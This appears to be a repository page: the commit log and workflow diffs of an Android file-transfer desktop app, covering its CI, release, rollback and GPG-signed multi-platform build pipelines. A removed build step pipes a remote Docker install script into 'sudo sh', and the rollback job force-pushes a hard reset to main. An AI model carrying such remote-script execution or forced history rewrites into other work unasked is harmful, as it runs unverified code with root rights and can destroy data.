71 Commits
Author SHA1 Message Date
JMR-devandClaude Opus 4.8 8020bede3a Fix duplicate DialogManager methods and make tooling Python 3.14-aware
DialogManager defined show_transfer_stats and show_disable_debugging_reminder
twice; the later definitions silently shadowed the earlier ones. The live
show_transfer_stats(self, stats, operation) accepted only two arguments, but
TransferManager passed a third (deduplicator), raising TypeError inside the Tk
after() callback so the transfer-stats window never appeared after folder
transfers. The shadowed copies were also dead: they indexed stats keys
(bytes_saved/total_files/...) that the *_with_dedup TODO stubs never produce,
so they would have KeyError'd on the real {"message": ...} payload.

- Remove the dead, shadowed copies of both methods
- Drop the unused deduplicator argument at the caller (transfer_manager)
- Annotate the surviving methods with -> None

Also align linting/type config with the existing >=3.13,<3.15 support that CI
already exercises: black now targets py313+py314, and CLAUDE.md documents
3.13/3.14. mypy stays pinned to the 3.13 floor (the oldest supported runtime).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-06-20 21:30:27 -05:00
Jason Ross b269fdc11d updated packages to modern standards 2026-03-20 13:55:13 -05:00
JMR-dev 986eda94f9 fix status checks 2025-10-18 00:36:55 -05:00
JMR-dev 7d15397a9b set up docker compose setup 2025-10-18 00:36:55 -05:00
JMR-dev 3b5a77da83 remove status checks to get release out the door for now 2025-10-17 14:15:29 -05:00
JMR-dev ea9d9ea835 fixing workflow permissions 2025-10-17 14:05:38 -05:00
JMR-dev b7aa6a0898 fix sync wiki 2025-10-17 14:05:38 -05:00
JMR-dev 94351ddb53 remove unecessary permissions from status check workflow 2025-10-17 14:05:38 -05:00
JMR-dev 47d22e4556 make release workflow usable 2025-10-17 14:05:38 -05:00
JMR-dev 44c5f3cb1f make release workflow usable 2025-10-17 14:05:38 -05:00
Jason Ross 447a32f99e Release v0.1.1 - Merge develop into main (#35)
This PR merges develop into main for release v0.1.1.

**Auto-generated by release workflow**

Once status checks pass, this PR will be automatically merged.
2025-10-17 12:59:08 -05:00
JMR-dev a15926b990 Merge branch 'main' into develop
- Merging main back into develop to give main the status check file necessary for release
2025-10-17 12:48:36 -05:00
JMR-dev 62af5130bd Add status checks workflow to main 2025-10-17 12:39:26 -05:00
JMR-dev 13c46f410a changed merge strategy to rebase to maintain linear history 2025-10-17 12:10:48 -05:00
JMR-dev 1525d9d8ed remove race condition by making it only possible to start from version bump or merge to main 2025-10-17 12:10:48 -05:00
JMR-dev ee36732236 added error handling and semver format verification for release number in jobs" 2025-10-17 10:22:17 -05:00
JMR-dev fdc329c8c9 update to keep single source of truth for release version number 2025-10-17 10:22:17 -05:00
JMR-dev 152c139e81 add git notes automation for record keeping of rollbacks 2025-10-16 21:28:10 -05:00
JMR-dev 45ec303869 change to reset for rollback strategy for clean rollback 2025-10-16 21:28:10 -05:00
JMR-dev 35bf262da5 fixed version number so that it is option but has error handling and addressed potential infinite retry loop 2025-10-16 20:17:07 -05:00
JMR-dev 8556de0efb release workflow fixes and updates 2025-10-16 19:59:54 -05:00
github-actions[bot] 8a2b03c518 Bump version to 0.1.1 2025-10-16 19:14:37 -05:00
JMR-dev 7e5ae3472d change auth type for PR creation during release 2025-10-16 18:58:34 -05:00
JMR-dev 4e6c06690d update claude.md 2025-10-16 18:51:32 -05:00
JMR-dev 0053765e99 final touches on release file 2025-10-16 18:51:32 -05:00
JMR-dev 240b27bc9b fixed problems with Arch dockerfile 2025-10-16 18:51:32 -05:00
JMR-dev 5811d587f6 one more time x3 2025-10-16 18:51:32 -05:00
JMR-dev e261911b21 one more time x2 2025-10-16 18:51:32 -05:00
JMR-dev 62b3dda30b one more time 2025-10-16 18:51:32 -05:00
JMR-dev b84ac5f006 remove pull always 2025-10-16 18:51:32 -05:00
JMR-dev e246f13f88 authenticate with PAT 2025-10-16 18:51:32 -05:00
JMR-dev 8672203541 unbundle windows and linux status checks 2025-10-16 18:51:32 -05:00
JMR-dev 6d32f91273 add auth step to container pull 2025-10-16 18:51:32 -05:00
JMR-dev 994dea669f force workflow to pull fresh image 2025-10-16 18:51:32 -05:00
JMR-dev 5fd9373dc8 updating lock file and Python range for pyinstaller 2025-10-16 18:51:32 -05:00
JMR-dev b5428fc341 changing version specification strategy for requires-python 2025-10-16 18:51:32 -05:00
JMR-dev 3bff70421f changing version specification strategy 2025-10-16 18:51:32 -05:00
JMR-dev d7468df88b release workflow and deps updates 2025-10-16 18:51:32 -05:00
JMR-dev 89473852f6 updated status checks to pull the correct containers and ensured Claude Code review does not run on every push, only new PR's and manually triggered runs 2025-10-16 18:51:32 -05:00
JMR-dev 5396a45a76 added missing container tag' 2025-10-16 18:51:32 -05:00
JMR-dev 3bb9c9c10a updated permissions for workflows 2025-10-16 18:51:32 -05:00
JMR-dev 295ef86475 updated credentials for job steps 2025-10-16 18:51:32 -05:00
JMR-dev 7fcd5108eb * Updated release workflow to test all distros, use pre-built images, and removed redundant env set up steps
* Updated status checks to mirror release workflow process
* Return type annotations added to build script for better linting/erroring
2025-10-16 18:51:32 -05:00
JMR-dev 8d7e5a53fd creating reproducible build images 2025-10-16 18:51:32 -05:00
JMR-dev 3f2cba1f04 * Updated workflow
* Added GPG public signing key
2025-10-16 18:51:32 -05:00
JMR-dev 6622d40e9e release workflow refinements 2025-10-16 18:51:32 -05:00
JMR-dev 90c29d66d7 Normalize tmp_dir with os.path.normpath() before comparison for Windows compatibility 2025-10-15 15:23:07 -05:00
JMR-dev aed4a1756a address PR feedback 2025-10-15 15:23:07 -05:00
JMR-dev 9ca47d455d PR feedback 2025-10-15 15:23:07 -05:00
JMR-dev 3973ae1801 addressing final PR comments 2025-10-15 15:23:07 -05:00
JMR-dev e2d8b484fc windows compatibility fixes 2025-10-15 15:23:07 -05:00
JMR-dev eaeaaa93f6 address PR feedback 2025-10-15 15:23:07 -05:00
JMR-dev 05e0366363 fixed several security vulnerabilities 2025-10-15 15:23:07 -05:00
JMR-dev 9aec20a061 fix path doubling issue in CI/CD 2025-10-15 15:23:07 -05:00
JMR-dev 83671ae2d8 updated permissions in all Github workflows 2025-10-02 14:37:02 -05:00
JMR-dev 83df7294b4 codeql exclusion for debug tools 2025-10-02 14:07:15 -05:00
JMR-dev f0b57311af updated urllib3 2025-10-02 12:55:09 -05:00
JMR-dev c43609583d bumped pyinstaller version to new major version to eliminate local privilege escalation vuln 2025-10-02 12:30:02 -05:00
JMR-dev 8558f68f8c <fix> Created separate status check file and streamlined release process 2025-10-01 19:55:32 -05:00
JMR-dev 7f41c8dc29 made updates to merge --ff-only instead of rebase on main for safety 2025-10-01 19:23:31 -05:00
JMR-dev b5649d68da updated release workflow to merge develop into main when a release is invoked 2025-10-01 19:23:31 -05:00
JMR-dev 4f1541ead7 update which branches trigger status checks 2025-10-01 18:59:48 -05:00
JMR-dev be037758b5 added permissions to rhel job 2025-10-01 18:59:48 -05:00
JMR-dev 0fdf90b54a updated workflow step 2025-10-01 18:59:48 -05:00
JMR-dev b843040e8b add dockerfile for custom rhel image 2025-10-01 18:59:48 -05:00
JMR-dev f88f379dac fixed quality issues in Github actions workflow 2025-10-01 13:28:39 -05:00
JMR-dev 528444abaa separating sync wiki workflow from release workflow 2025-10-01 13:28:39 -05:00
Jason Ross ffed8307cd "Claude Code Review workflow" 2025-10-01 12:59:57 -05:00
Jason Ross 7d86bc99ef "Claude PR Assistant workflow" 2025-10-01 12:59:57 -05:00
JMR-dev 59dae6c31a fixing import issues and type annotations. Also fixed broken sync wiki step 2025-10-01 12:57:34 -05:00
JMR-dev 9f0adea09d WIP and add CLAUDE.md 2025-10-01 12:57:34 -05:00
58 changed files with 5644 additions and 2430 deletions
+56
View File
@@ -0,0 +1,56 @@
# Git
.git/
.gitignore
.gitattributes
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
*.egg
.pytest_cache/
.mypy_cache/
.coverage
htmlcov/
# Virtual environments
venv/
ENV/
env/
.venv
# IDE
.vscode/
.idea/
*.swp
*.swo
*~
# Build artifacts
dist_*/
pkg_dist_*/
*.deb
*.rpm
*.pkg.tar.zst
*.exe
*.asc
*.sha256
# Platform tools (downloaded at runtime)
src/platform-tools/
# Documentation
*.md
!CLAUDE.md
# CI/CD
.github/
# Other
.DS_Store
*.log
@@ -33,6 +33,7 @@ on:
permissions:
contents: read
pull-requests: write
jobs:
configure-branch-protection:
+8 -4
View File
@@ -4,19 +4,23 @@ name: CI/CD Pipeline
on:
workflow_dispatch:
permissions:
contents: read
pull-requests: write
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
python-version: [3.13]
python-version: ['3.13', '3.14']
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
@@ -46,9 +50,9 @@ jobs:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: 3.13
python-version: '3.14'
- name: Install Poetry
uses: snok/install-poetry@v1
+66
View File
@@ -0,0 +1,66 @@
name: Claude Code Review
on:
pull_request:
types: [opened]
# Optional: Only run on specific file changes
# paths:
# - "src/**/*.py"
workflow_dispatch:
inputs:
branch:
description: 'Branch to run the review against'
required: true
default: 'develop'
type: string
permissions:
contents: read
pull-requests: write
jobs:
claude-review:
# Optional: Filter by PR author
# if: |
# github.event.pull_request.user.login == 'external-contributor' ||
# github.event.pull_request.user.login == 'new-developer' ||
# github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR'
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
issues: read
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
ref: ${{ github.event_name == 'workflow_dispatch' && inputs.branch || github.event.pull_request.head.ref }}
fetch-depth: 0
- name: Run Claude Code Review
id: claude-review
uses: anthropics/claude-code-action@v1
with:
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
prompt: |
REPO: ${{ github.repository }}
${{ github.event_name == 'pull_request' && format('PR NUMBER: {0}', github.event.pull_request.number) || format('BRANCH: {0}', inputs.branch) }}
Please review this ${{ github.event_name == 'pull_request' && 'pull request' || format('branch ({0})', inputs.branch) }} and provide feedback on:
- Code quality and best practices
- Potential bugs or issues
- Performance considerations
- Security concerns
- Test coverage
Use the repository's CLAUDE.md for guidance on style and conventions. Be constructive and helpful in your feedback.
${{ github.event_name == 'pull_request' && 'Use `gh pr comment` with your Bash tool to leave your review as a comment on the PR.' || 'Provide a summary of your findings.' }}
# See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
# or https://docs.claude.com/en/docs/claude-code/sdk#command-line for available options
claude_args: '--allowed-tools "Bash(gh issue view:*),Bash(gh search:*),Bash(gh issue list:*),Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh pr list:*)"'
+54
View File
@@ -0,0 +1,54 @@
name: Claude Code
on:
issue_comment:
types: [created]
pull_request_review_comment:
types: [created]
issues:
types: [opened, assigned]
pull_request_review:
types: [submitted]
permissions:
contents: read
pull-requests: write
jobs:
claude:
if: |
(github.event_name == 'issue_comment' && contains(github.event.comment.body, '@claude')) ||
(github.event_name == 'pull_request_review_comment' && contains(github.event.comment.body, '@claude')) ||
(github.event_name == 'pull_request_review' && contains(github.event.review.body, '@claude')) ||
(github.event_name == 'issues' && (contains(github.event.issue.body, '@claude') || contains(github.event.issue.title, '@claude')))
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read
issues: read
id-token: write
actions: read # Required for Claude to read CI results on PRs
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 1
- name: Run Claude Code
id: claude
uses: anthropics/claude-code-action@v1
with:
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
# This is an optional setting that allows Claude to read CI results on PRs
additional_permissions: |
actions: read
# Optional: Give a custom prompt to Claude. If this is not specified, Claude will perform the instructions specified in the comment that tagged it.
# prompt: 'Update the pull request description to include a summary of changes.'
# Optional: Add claude_args to customize behavior and configuration
# See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
# or https://docs.claude.com/en/docs/claude-code/sdk#command-line for available options
# claude_args: '--model claude-opus-4-1-20250805 --allowed-tools Bash(gh pr:*)'
+111 -1
View File
@@ -13,6 +13,10 @@ on:
default: false
type: boolean
permissions:
contents: read
pull-requests: write
env:
APP_NAME: android-file-handler
PYTHON_VERSION: "3.12"
@@ -626,4 +630,110 @@ jobs:
echo "✅ GitHub release created"
echo "⏭️ AUR publishing skipped (dry run mode)"
echo ""
echo "To publish to AUR, re-run with dry_run=false"
echo "To publish to AUR, re-run with dry_run=false"
inputs:
new_version:
description: "New version to release (e.g., 0.2.0)"
required: false
type: string
pr_check_timeout:
description: "Timeout in seconds for PR status checks (default: 1800)"
required: false
type: number
default: 1800
jobs:
description: "Comma-separated jobs to run (e.g., build-windows,build-debian,build-arch,build-rhel)"
required: true
default: "build-windows,build-debian,build-arch,build-rhel"
start_from_step:
description: "Start workflow from this step (all subsequent steps will run)"
required: false
type: choice
default: "bump-version"
options:
- "bump-version"
- "merge-develop-to-main"
rollback-on-build-failure:
needs: [merge-develop-to-main, wait-for-main-pr, build-windows, build-debian, build-arch, build-rhel]
if: |
${{
always() &&
(github.event.inputs.start_from_step == 'bump-version' ||
github.event.inputs.start_from_step == 'merge-develop-to-main') &&
needs.wait-for-main-pr.result == 'success' &&
(needs.build-windows.result == 'failure' ||
needs.build-debian.result == 'failure' ||
needs.build-arch.result == 'failure' ||
needs.build-rhel.result == 'failure')
}}
runs-on: ubuntu-latest
permissions:
contents: write
# Prevent multiple rollback operations from running concurrently
concurrency:
group: main-branch-rollback
cancel-in-progress: false
steps:
- name: Checkout main branch
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
- name: Rollback merge commit on build failure
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -e
echo "::error::One or more build jobs failed - initiating rollback"
# Configure git
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
# Fetch latest
git fetch origin main
# Get the previous main SHA (before the merge)
PREVIOUS_MAIN_SHA="${{ needs.merge-develop-to-main.outputs.previous_main_sha }}"
echo "Resetting main to previous commit: $PREVIOUS_MAIN_SHA"
# Checkout main and reset to previous commit
git checkout main
git reset --hard "$PREVIOUS_MAIN_SHA"
# Force push the rollback
if ! git push --force origin main; then
git notes -m 'release commit could not be rolled back'
echo "::error::Failed to push rollback to main"
exit 1
fi
git notes -m 'release commit rolled back'
echo "::error::Reset main branch to commit $PREVIOUS_MAIN_SHA"
echo "::error::Build failures detected:"
# Report which builds failed
if [ "${{ needs.build-windows.result }}" = "failure" ]; then
echo "::error:: - build-windows: FAILED"
fi
if [ "${{ needs.build-debian.result }}" = "failure" ]; then
echo "::error:: - build-debian: FAILED"
fi
if [ "${{ needs.build-arch.result }}" = "failure" ]; then
echo "::error:: - build-arch: FAILED"
fi
if [ "${{ needs.build-rhel.result }}" = "failure" ]; then
echo "::error:: - build-rhel: FAILED"
fi
exit 1
+246 -331
View File
@@ -11,29 +11,17 @@ name: Build Multi-Platform Binaries
on:
workflow_dispatch:
inputs:
branch:
description: "Branch to build from"
required: false
default: "main"
type: string
jobs:
description: "Comma-separated jobs to run (e.g., build-windows,build-debian,build-arch,build-rhel)"
required: true
default: "build-windows,build-debian,build-arch,build-rhel"
DO_RELEASE:
description: "Set to 'true' to create a GitHub release after successful builds"
required: false
default: "false"
UPLOAD_S3:
description: "Set to 'true' to upload build artifacts to S3 after builds"
required: false
default: "false"
pull_request:
branches: [ main ]
permissions:
contents: write
contents: read
packages: read
# Prevent multiple release workflows from running simultaneously
# This is critical to prevent concurrent rollbacks
concurrency:
group: release-workflow
cancel-in-progress: true
env:
# change this if you prefer a different pinned fpm version
@@ -43,84 +31,19 @@ env:
CI_CD: true
jobs:
run-unit-tests-linux:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
- name: Display build information
run: |
echo "Event: ${{ github.event_name }}"
echo "Branch: ${{ github.event.inputs.branch || github.head_ref || github.ref }}"
echo "Jobs to run: ${{ github.event.inputs.jobs || 'build-windows,build-debian,build-arch,build-rhel' }}"
echo "Create release: ${{ github.event.inputs.DO_RELEASE || 'false' }}"
echo "Upload to S3: ${{ github.event.inputs.UPLOAD_S3 || 'false' }}"
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install Poetry
uses: snok/install-poetry@v1
- name: Install dependencies
run: |
poetry install
- name: Run tests
run: |
poetry run pytest tests/ -v
run-unit-tests-windows:
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install Poetry
uses: snok/install-poetry@v1
with:
version: latest
virtualenvs-create: true
virtualenvs-in-project: true
- name: Ensure Poetry is on PATH (Windows)
shell: pwsh
run: |
# Add Poetry user bin to PATH for subsequent steps in this job
$poetryPath = Join-Path $env:USERPROFILE ".local\bin"
Write-Output $poetryPath >> $Env:GITHUB_PATH
- name: Install dependencies
run: |
poetry install
- name: Run tests
run: |
poetry run pytest tests/ -v
build-windows:
needs: [run-unit-tests-linux, run-unit-tests-windows]
if: ${{ github.event_name == 'pull_request' || contains(github.event.inputs.jobs, 'build-windows') }}
runs-on: windows-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Set up Python 3.12
- name: Set up Python 3.13
uses: actions/setup-python@v5
with:
python-version: '3.12'
python-version: '3.13'
- name: Install Poetry
uses: snok/install-poetry@v1
@@ -145,92 +68,114 @@ jobs:
# Use the Windows spec file so packaging is consistent and reproducible
poetry run pyinstaller scripts/spec_scripts/android-file-handler-windows.spec
- name: Import GPG key
shell: pwsh
run: |
$env:GPG_TTY = "not a tty"
echo "${{ secrets.GPG_PRIVATE_KEY }}" | gpg --batch --import
gpg --list-secret-keys
- name: Sign and hash Windows executable
shell: pwsh
run: |
$exePath = Get-ChildItem -Path dist -Filter "android-file-handler.exe" -Recurse | Select-Object -First 1 -ExpandProperty FullName
if (-not $exePath) {
Write-Error "Executable not found"
exit 1
}
Write-Output "Found executable: $exePath"
# Create temporary file for passphrase
$passphraseFile = New-TemporaryFile
try {
"${{ secrets.GPG_PASSPHRASE }}" | Out-File -FilePath $passphraseFile -Encoding ASCII -NoNewline
# Sign with GPG using passphrase file
gpg --batch --yes --passphrase-file "$passphraseFile" --detach-sign --armor "$exePath"
}
finally {
# Clean up passphrase file
if (Test-Path $passphraseFile) {
Remove-Item $passphraseFile -Force
}
}
# Generate SHA-256 hash
$hash = (Get-FileHash -Path "$exePath" -Algorithm SHA256).Hash.ToLower()
$hashFile = "dist/android-file-handler-windows.sha256"
"$hash $(Split-Path -Leaf $exePath)" | Out-File -FilePath $hashFile -Encoding ASCII -NoNewline
Write-Output "SHA-256: $hash"
- name: Upload Windows artifact
uses: actions/upload-artifact@v4
with:
name: windows-binary
path: |
dist/**/android-file-handler*.exe
dist/**/android-file-handler*.exe.asc
dist/android-file-handler.exe
dist/android-file-handler.exe.asc
dist/android-file-handler-windows.sha256
build-debian:
needs: [run-unit-tests-linux, run-unit-tests-windows]
if: ${{ github.event_name == 'pull_request' || contains(github.event.inputs.jobs, 'build-debian') }}
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: debian
runs-on: ubuntu-latest
container:
image: python:3.12-slim
image: ghcr.io/jmr-dev/android-file-handler-debian-builder:debian13-trixie
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- name: Install system dependencies & gem fpm (include Tcl/Tk)
run: |
set -euo pipefail
apt-get update
# Install Tcl/Tk runtimes, dev headers and common X libraries required by tkinter
apt-get install -y --no-install-recommends \
curl git build-essential ruby ruby-dev gcc make zlib1g-dev ca-certificates python3-tk \
tcl8.6 tk8.6 tcl8.6-dev tk8.6-dev libx11-6 libxext6 libxrender1 libxcb1
# install pinned fpm to the system gem dir (will be available under gem env's EXECUTABLE DIRECTORY or /usr/local/bin)
gem install --no-document -v "${FPM_VERSION}" fpm
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Set up Python 3.12
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install Poetry
uses: snok/install-poetry@v1
with:
version: latest
virtualenvs-create: true
virtualenvs-in-project: true
- name: Configure Poetry
- name: Build and package Debian
run: |
echo 'export PATH="$HOME/.local/bin:$PATH"' >> $GITHUB_ENV
export PATH="$HOME/.local/bin:$PATH"
poetry config virtualenvs.create true
poetry config virtualenvs.in-project true
- name: Install dependencies & build executable
run: |
export PATH="$HOME/.local/bin:$PATH"
poetry env use python3.12 || true
# Debug: show tkinter/_tkinter and Tcl library discovery in the Poetry venv
poetry run python -c 'import tkinter, _tkinter, sys; print("tkinter=", getattr(tkinter, "__file__", None)); print("_tkinter=", getattr(_tkinter, "__file__", None)); import tkinter as tk; print("TCL_LIBRARY=", tk.Tcl().eval("info library"))'
# Build distro-specific package layout using the build script via Poetry
# Container has Poetry and all dependencies pre-installed
# Python build script handles both PyInstaller build and fpm packaging
poetry install --no-interaction
poetry run python scripts/build_package_linux.py
- name: Package .deb (fpm)
- name: Import GPG key
shell: bash
run: |
export GPG_TTY=$(tty) || true
echo "${{ secrets.GPG_PRIVATE_KEY }}" | gpg --batch --import
gpg --list-secret-keys
- name: Sign and hash Debian package
shell: bash
run: |
set -euo pipefail
export PATH="$HOME/.local/bin:$PATH"
VERSION="$(poetry version -s)"
PKG_DIR="pkg_dist_debian"
mkdir -p dist
# Debug listing
echo "Packaging from $PKG_DIR"
ls -la "$PKG_DIR" || true
ICON_PATH="$PKG_DIR/usr/share/icons/hicolor/256x256/apps/android-file-handler.png"
PKG_ITEMS=( "usr/local/bin/android-file-handler" "usr/share/applications/android-file-handler.desktop" )
if [ -f "$ICON_PATH" ]; then
PKG_ITEMS+=( "usr/share/icons/hicolor/256x256/apps/android-file-handler.png" )
else
echo "Note: icon not present, packaging without icon"
DEB_FILE=$(find dist -name "android-file-handler_*.deb" -type f | head -n 1)
if [ -z "$DEB_FILE" ]; then
echo "Error: .deb file not found"
exit 1
fi
echo "Found package: $DEB_FILE"
fpm -s dir -t deb -n android-file-handler -v "$VERSION" \
--architecture amd64 --prefix /usr/local/bin --deb-user root --deb-group root \
--after-install scripts/debian_postinst.sh \
-p "dist/android-file-handler_${VERSION}_amd64.deb" -C "$PKG_DIR" "${PKG_ITEMS[@]}"
# Create temporary file for passphrase
PASSPHRASE_FILE=$(mktemp)
trap "rm -f '$PASSPHRASE_FILE'" EXIT
# Write passphrase to temporary file
echo "${{ secrets.GPG_PASSPHRASE }}" > "$PASSPHRASE_FILE"
# Sign with GPG using passphrase file
gpg --batch --yes --passphrase-file "$PASSPHRASE_FILE" --detach-sign --armor "$DEB_FILE"
# Clean up passphrase file
rm -f "$PASSPHRASE_FILE"
# Generate SHA-256 hash
sha256sum "$DEB_FILE" | awk '{print $1 " " $2}' > dist/android-file-handler-debian.sha256
echo "SHA-256: $(cat dist/android-file-handler-debian.sha256)"
- name: Upload Debian .deb
uses: actions/upload-artifact@v4
@@ -238,78 +183,78 @@ jobs:
name: debian-package
path: |
dist/android-file-handler_*.deb
dist/android-file-handler_*.deb.asc
dist/android-file-handler-debian.sha256
pkg_dist_debian/**
build-arch:
needs: [run-unit-tests-linux, run-unit-tests-windows]
if: ${{ github.event_name == 'pull_request' || contains(github.event.inputs.jobs, 'build-arch') }}
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: arch
runs-on: ubuntu-latest
container:
image: archlinux:latest
steps:
- name: Install system dependencies (Arch) and system Ruby
run: |
set -euo pipefail
pacman -Syu --noconfirm
pacman -S --noconfirm ruby base-devel curl git tar ca-certificates tk tcl libx11 libxext libxrender libxcb
# Install fpm system-wide and pin version so fpm will be in /usr/in
gem install --no-document erb
gem install --no-document -v "${FPM_VERSION}" fpm --bindir /usr/bin
# persist system bindir to subsequent steps (usually already on PATH)
echo "/usr/local/bin" >> $GITHUB_PATH
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Set up Python 3.12
uses: actions/setup-python@v5
- name: Log in to GitHub Container Registry
uses: docker/login-action@v2
with:
python-version: '3.12'
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.CI_CD_PAT }}
- name: Install Poetry
uses: snok/install-poetry@v1
with:
version: latest
virtualenvs-create: true
virtualenvs-in-project: true
- name: Pull Docker image
run: docker pull ghcr.io/jmr-dev/android-file-handler-arch-builder:latest
- name: Configure Poetry
- name: Build and package Arch
run: |
echo 'export PATH="$HOME/bin:$PATH"' >> $GITHUB_ENV
export PATH="$HOME/bin:$PATH"
docker run --rm \
-v ${{ github.workspace }}:/workspace \
-w /workspace \
-e DISTRO_TYPE=${{ env.DISTRO_TYPE }} \
-e FPM_VERSION=${{ env.FPM_VERSION }} \
-e CI_CD=${{ env.CI_CD }} \
ghcr.io/jmr-dev/android-file-handler-arch-builder:latest \
sh -c "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"
- name: Install dependencies & build executable
- name: Import GPG key
shell: bash
run: |
export PATH="$HOME/bin:/usr/bin:$PATH"
# Use unified build script to produce pkg_dist_arch layout via Poetry
poetry run python scripts/build_package_linux.py
export GPG_TTY=$(tty) || true
echo "${{ secrets.GPG_PRIVATE_KEY }}" | gpg --batch --import
gpg --list-secret-keys
- name: Package pacman (fpm)
- name: Sign and hash Arch package
shell: bash
run: |
set -euo pipefail
export PATH="$HOME/.local/bin:/usr/bin:$PATH"
VERSION="$(poetry version -s)"
PKG_DIR="pkg_dist_arch"
mkdir -p dist
echo "Packaging from $PKG_DIR"
ls -la "$PKG_DIR" || true
ICON_PATH="$PKG_DIR/usr/share/icons/hicolor/256x256/apps/android-file-handler.png"
PKG_ITEMS=( "usr/bin/android-file-handler" "usr/share/applications/android-file-handler.desktop" )
if [ -f "$ICON_PATH" ]; then
PKG_ITEMS+=( "usr/share/icons/hicolor/256x256/apps/android-file-handler.png" )
else
echo "Note: icon not present, packaging without icon"
PKG_FILE=$(find dist -name "android-file-handler-*.pkg.tar.zst" -type f | head -n 1)
if [ -z "$PKG_FILE" ]; then
echo "Error: .pkg.tar.zst file not found"
exit 1
fi
echo "Found package: $PKG_FILE"
fpm -s dir -t pacman -n android-file-handler -v "$VERSION" \
--architecture x86_64 --prefix /usr/bin \
-p "dist/android-file-handler-${VERSION}-1-x86_64.pkg.tar.zst" -C "$PKG_DIR" "${PKG_ITEMS[@]}"
# Create temporary file for passphrase
PASSPHRASE_FILE=$(mktemp)
trap "rm -f '$PASSPHRASE_FILE'" EXIT
# Write passphrase to temporary file
echo "${{ secrets.GPG_PASSPHRASE }}" > "$PASSPHRASE_FILE"
# Sign with GPG using passphrase file
gpg --batch --yes --passphrase-file "$PASSPHRASE_FILE" --detach-sign --armor "$PKG_FILE"
# Clean up passphrase file
rm -f "$PASSPHRASE_FILE"
# Generate SHA-256 hash
sha256sum "$PKG_FILE" | awk '{print $1 " " $2}' > dist/android-file-handler-arch.sha256
echo "SHA-256: $(cat dist/android-file-handler-arch.sha256)"
- name: Upload Arch package
uses: actions/upload-artifact@v4
@@ -317,99 +262,69 @@ jobs:
name: arch-package
path: |
dist/*.pkg.tar.*
dist/android-file-handler-arch.sha256
pkg_dist_arch/**
build-rhel:
needs: [run-unit-tests-linux, run-unit-tests-windows]
if: ${{ github.event_name == 'pull_request' || contains(github.event.inputs.jobs, 'build-rhel') }}
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: rhel
runs-on: ubuntu-latest
container:
image: ghcr.io/jmr-dev/android-file-handler-rhel-builder:fedora42
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Update OS and install Docker
- name: Build and package RHEL
run: |
set -euo pipefail
sudo apt-get update
# Remove possible conflicting containerd packages that can block docker.io installation
sudo apt-get remove -y --purge containerd containerd.io || true
sudo apt-get autoremove -y || true
# Try installing docker.io from distro packages
if ! sudo apt-get install -y --no-install-recommends ca-certificates curl gnupg lsb-release docker.io git build-essential; then
echo "apt install docker.io failed; falling back to Docker convenience script"
# Fallback: use Docker's official convenience script
curl -fsSL https://get.docker.com | sudo sh
fi
sudo usermod -aG docker $USER || true
# Container has Poetry and all dependencies pre-installed
# Python build script handles both PyInstaller build and fpm packaging
poetry install --no-interaction
poetry run python scripts/build_package_linux.py
- name: Pull Fedora container image
run: |
docker pull fedora:latest
- name: Start Fedora container (background) and mount repo
run: |
# Run container with workspace mounted
docker run -d --name rhel-build -v "$PWD":/workspace -w /workspace fedora:latest sleep infinity
- name: Prepare container build environment (dnf, pyenv, python, poetry, fpm)
run: |
set -euo pipefail
# Update the Fedora image and install build deps
docker exec rhel-build bash -lc "dnf -y update && dnf -y install gcc make zlib-devel bzip2 bzip2-devel readline-devel sqlite-devel openssl-devel libffi-devel wget tar git curl ruby rubygems rpm-build redhat-rpm-config gcc-c++ patch which xz-devel"
# Install pyenv into the container (if not present)
